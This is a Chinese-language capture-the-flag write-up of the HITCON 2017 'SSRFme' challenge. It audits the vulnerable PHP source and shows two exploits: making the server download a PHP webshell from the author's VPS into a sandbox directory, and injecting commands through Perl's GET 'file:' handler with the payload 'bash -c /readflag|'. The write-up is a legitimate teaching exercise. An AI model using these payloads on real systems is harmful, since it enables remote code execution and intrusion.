BUUCTF-WEB 【HITCON 2017】SSRFme 1

考点

  • ssrf

  • 代码审计

解题过程

打开

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
36.18.121.204 <?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}

echo $_SERVER["REMOTE_ADDR"];

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);

得到一份源代码,那肯定是先进行代码审计

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
# explode 使用一个字符串分割另一个字符串
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}

echo $_SERVER["REMOTE_ADDR"];
# $sandbox 的值为 sanbox/(orange36.18.121.204 md5加密后的值)
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
# 以$sandbox的值创建路径
@mkdir($sandbox);
# 进入路径
@chdir($sandbox);
# shell_exec 执行命令
# escapeshellarg 把字符串转码为可以在 shell 命令里使用的参数
#
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
# 返回文件路径的信息 文件名可以通过GET["filename"]传参
$info = pathinfo($_GET["filename"]);
# basename($info["dirname"])
# basename 返回路径中的文件名部分
# $info["dirname"] 返回路径中的目录部分
# 将 xxx 字符串中的 . 替换成 ''
$dir = str_replace(".", "", basename($info["dirname"]));
# 创建文件夹
@mkdir($dir);
# 进入文件夹
@chdir($dir);
# 写入文件
# 将$data 写入 basename($info["basename"] 文件中
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);

这道代码的作用:通过sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"])创建了一个沙盒目录,然后$data = shell_exec("GET " . escapeshellarg($_GET["url"]));执行GET命令,参数由外部$_GET["url"]传参,外部$info = pathinfo($_GET["filename"]);传入文件名,将GET命令执行结果写入文件中file_put_contents(basename($info["basename"]), $data);

分析完后首先想到的就是,在vps上绑定一句话木马进行监听,然后通过GET命令去请求,用$_GET[“filename”]传入的值作为文件名保存。

在服务器上写上一句话目标,然后保存。

用python启动一个http服务

1
python3 -m http.server

image-20210818140140257

构造pyalod进行请求

1
?url=121.4.xx.xx:8000/shell.php&filename=shell.php

接下来需要去沙盒路径下访问刚刚写入的文件 shell.php

1
2
3
4
路径的构造规则 sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"])
在页面中回显的ip 36.18.121.204
通过 md5 加密 orange36.18.121.204 得到 d23635209b921a91099a3d5b85be6af2
拼接 sandbox/d23635209b921a91099a3d5b85be6af2

访问 sandbox/d23635209b921a91099a3d5b85be6af2/shell.php

POST 提交 phpinfo()

image-20210818140918862

蚁剑启动

image-20210818141058581

根目录下看到flag,双击打不开

切换到终端,执行./readflag ,成功拿到flag

image-20210818141206076

第二种方式

利用GET命令的一个漏洞,GET命令是用perl来执行,而prel的open可以执行命令,这里都是看别人wp才知道的,说得都是云里雾里,直接进行演示。

用GET 执行命令 (先创建文件才执行GET才能成功)

1
2
touch 'ls|'
GET "file:ls|"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[/tmp]
└─$ touch 'ls|'

┌──(kali㉿kali)-[/tmp]
└─$ GET "file:ls|"
fcitx-socket-:0
ls|
ssh-jMvsHCg3mID2
systemd-private-344dd432807142dd8950d423318f82d0-colord.service-ysjeOf
systemd-private-344dd432807142dd8950d423318f82d0-haveged.service-k1bxPf
systemd-private-344dd432807142dd8950d423318f82d0-ModemManager.service-p6Qjyh
systemd-private-344dd432807142dd8950d423318f82d0-systemd-logind.service-IpdMMh
systemd-private-344dd432807142dd8950d423318f82d0-upower.service-re1qdf
VMwareDnD
vmware-root_437-1849036237

在kali中,要让命令执行生效,需要在 /usr/share/perl5/LWP/Protocol/file.pm 文件中,将 open(my $fh,'<', $path) or return new 修改为open(my $fh, $path) or return new

构造payload拿flag

先执行两遍

1
?url=file:bash -c /readflag|&filename=bash -c /readfla

在访问 /sandbox/d23635209b921a91099a3d5b85be6af2/bash -c /readflag|

image-20210818143010670

总结

对这道题处于一种,啊,这就是ssrf题吗。平时ssrf做得很少,现在要是问我,什么是ssrf,我会回答,服务端请求伪造,但是要我说个案例,我就说不上来。这道题给我的提升就是知道GET命令的漏洞以及利用方式。